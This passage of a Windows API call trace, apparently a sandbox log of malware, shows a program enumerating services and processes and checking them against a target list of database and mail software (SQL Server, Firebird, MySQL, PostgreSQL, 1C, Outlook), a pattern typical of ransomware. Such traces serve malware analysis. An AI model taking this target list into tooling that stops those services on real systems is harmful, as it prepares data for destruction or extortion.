(lpString1="mssqlserver", lpString2="Power") returned -1 [0170.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0170.902] lstrlenW (lpString="ProfSvc") returned 7 [0170.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0170.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0170.903] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0170.903] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0170.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0170.903] lstrlenW (lpString="RpcEptMapper") returned 12 [0170.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.903] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0170.903] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0170.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0170.903] lstrlenW (lpString="RpcSs") returned 5 [0170.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0170.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0170.903] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0170.903] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0170.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0170.903] lstrlenW (lpString="SamSs") returned 5 [0170.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0170.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0170.903] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0170.903] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0170.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0170.903] lstrlenW (lpString="Schedule") returned 8 [0170.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0170.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0170.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0170.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0170.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0170.904] lstrlenW (lpString="SENS") returned 4 [0170.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0170.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0170.904] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0170.904] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0170.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0170.904] lstrlenW (lpString="ShellHWDetection") returned 16 [0170.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.904] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0170.904] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0170.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0170.904] lstrlenW (lpString="Spooler") returned 7 [0170.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0170.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0170.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0170.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0170.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0170.904] lstrlenW (lpString="SysMain") returned 7 [0170.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0170.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0170.904] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0170.904] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0170.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0170.905] lstrlenW (lpString="Themes") returned 6 [0170.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0170.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0170.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0170.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0170.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0170.905] lstrlenW (lpString="TrkWks") returned 6 [0170.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0170.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0170.905] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0170.905] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0170.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0170.905] lstrlenW (lpString="UxSms") returned 5 [0170.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0170.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0170.905] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0170.905] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0170.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0170.905] lstrlenW (lpString="WdiServiceHost") returned 14 [0170.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0170.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0170.905] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0170.905] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0170.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0170.905] lstrlenW (lpString="WdiSystemHost") returned 13 [0170.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0170.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0170.906] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0170.906] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0170.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0170.906] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0170.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0170.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0170.906] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0170.906] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0170.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0170.906] lstrlenW (lpString="Winmgmt") returned 7 [0170.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0170.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0170.906] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0170.906] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0170.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0170.906] lstrlenW (lpString="WPDBusEnum") returned 10 [0170.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0170.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0170.906] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0170.906] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0170.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0170.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0170.906] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2e8 [0170.909] Process32FirstW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.910] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.910] lstrlenW (lpString="System") returned 6 [0170.910] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0170.910] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0170.910] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0170.910] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0170.910] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0170.910] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0170.910] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0170.910] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.911] lstrlenW (lpString="smss.exe") returned 8 [0170.911] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0170.911] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0170.911] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0170.911] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0170.911] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0170.911] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0170.911] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0170.911] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.911] lstrlenW (lpString="csrss.exe") returned 9 [0170.912] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0170.912] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0170.912] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0170.912] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0170.912] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0170.912] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0170.912] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0170.912] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.912] lstrlenW (lpString="wininit.exe") returned 11 [0170.912] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0170.912] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0170.912] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0170.912] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0170.912] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0170.912] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0170.913] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0170.913] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.913] lstrlenW (lpString="csrss.exe") returned 9 [0170.913] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0170.913] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0170.913] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0170.913] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0170.913] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0170.913] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0170.913] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.914] lstrlenW (lpString="winlogon.exe") returned 12 [0170.914] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.914] lstrlenW (lpString="services.exe") returned 12 [0170.914] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.915] lstrlenW (lpString="lsass.exe") returned 9 [0170.915] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0170.915] lstrlenW (lpString="lsm.exe") returned 7 [0170.915] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.916] lstrlenW (lpString="svchost.exe") returned 11 [0170.916] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.916] lstrlenW (lpString="svchost.exe") returned 11 [0170.917] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.917] lstrlenW (lpString="svchost.exe") returned 11 [0170.917] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.918] lstrlenW (lpString="svchost.exe") returned 11 [0170.918] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.918] lstrlenW (lpString="svchost.exe") returned 11 [0170.918] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.919] lstrlenW (lpString="audiodg.exe") returned 11 [0170.919] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.919] lstrlenW (lpString="svchost.exe") returned 11 [0170.919] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.920] lstrlenW (lpString="svchost.exe") returned 11 [0170.920] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.920] lstrlenW (lpString="spoolsv.exe") returned 11 [0170.920] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.921] lstrlenW (lpString="taskhost.exe") returned 12 [0170.921] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.921] lstrlenW (lpString="svchost.exe") returned 11 [0170.921] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.922] lstrlenW (lpString="dwm.exe") returned 7 [0170.922] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.922] lstrlenW (lpString="explorer.exe") returned 12 [0170.922] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0170.923] lstrlenW (lpString="3G6885.exe") returned 10 [0170.923] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0170.923] lstrlenW (lpString="reader_sl.exe") returned 13 [0170.923] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.924] lstrlenW (lpString="taskhost.exe") returned 12 [0170.924] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0170.924] lstrlenW (lpString="dllhost.exe") returned 11 [0170.924] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0170.925] lstrlenW (lpString="dllhost.exe") returned 11 [0170.925] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0170.925] lstrlenW (lpString="rundll32.exe") returned 12 [0170.925] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0170.926] lstrlenW (lpString="dinotify.exe") returned 12 [0170.926] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0170.926] lstrlenW (lpString="dllhost.exe") returned 11 [0170.926] Process32NextW (in: hSnapshot=0x2e8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0170.927] CloseHandle (hObject=0x2e8) returned 1 [0170.927] Sleep (dwMilliseconds=0x1f4) [0171.492] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8978 [0171.493] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0171.493] GetLastError () returned 0xea [0171.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41d9f00 [0171.494] EnumServicesStatusExW (in: hSCManager=0x41d8978, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d9f00, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d9f00, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0171.495] CloseServiceHandle (hSCObject=0x41d8978) returned 1 [0171.495] lstrlenW (lpString="Appinfo") returned 7 [0171.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0171.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0171.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0171.495] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0171.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0171.495] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0171.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.495] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0171.495] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0171.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0171.495] lstrlenW (lpString="AudioSrv") returned 8 [0171.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0171.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0171.496] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0171.496] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0171.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0171.496] lstrlenW (lpString="BFE") returned 3 [0171.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0171.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0171.496] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0171.496] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0171.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0171.496] lstrlenW (lpString="CryptSvc") returned 8 [0171.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0171.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0171.496] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0171.496] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0171.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0171.496] lstrlenW (lpString="CscService") returned 10 [0171.496] lstrcmpiW 